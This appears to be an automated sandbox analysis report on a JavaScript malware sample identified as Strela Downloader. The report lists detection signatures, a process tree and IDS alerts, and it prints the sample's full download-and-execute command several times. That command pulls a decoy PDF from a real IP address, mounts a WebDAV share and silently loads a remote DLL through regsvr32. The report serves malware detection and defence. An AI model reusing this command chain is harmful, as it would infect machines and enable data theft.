Edit tour

Windows Analysis Report
23754232101540928500.js

Overview

General Information

Sample name:	23754232101540928500.js
Analysis ID:	1588592
MD5:	93b1e5daf8fced2a11edf4d37b7d7a00
SHA1:	44c2ff637b29c4fd43703550a2935a14819ea3d2
SHA256:	b9c4bd4be0e5800760c2f2fa5a29061757f864530500b013ada9bf2c277ec847
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1384 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23754232101540928500.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1516 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6208 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1420 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2292 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4436 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1644,i,11982720201399169687,571317967426067473,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 920 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 652 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2836 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1384	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1516, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6208, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1516, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6208, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23754232101540928500.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23754232101540928500.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23754232101540928500.js", ProcessId: 1384, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 652, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49765

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23754232101540928500.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, ProcessId: 1516, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23754232101540928500.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, ProcessId: 1516, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23754232101540928500.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, ProcessId: 1516, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23754232101540928500.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, ProcessId: 1516, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23754232101540928500.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, ProcessId: 1516, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23754232101540928500.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23754232101540928500.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23754232101540928500.js", ProcessId: 1384, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1516, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6208, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 920, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 652, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2836, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 920, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 652, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23754232101540928500.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll, ProcessId: 1516, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:51:58.849158+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.9	49749	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:52:01.082319+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49765	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:51:58.849158+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49749	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 23754232101540928500.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 23754232101540928500.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.9:49749 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49765 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:51:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49765
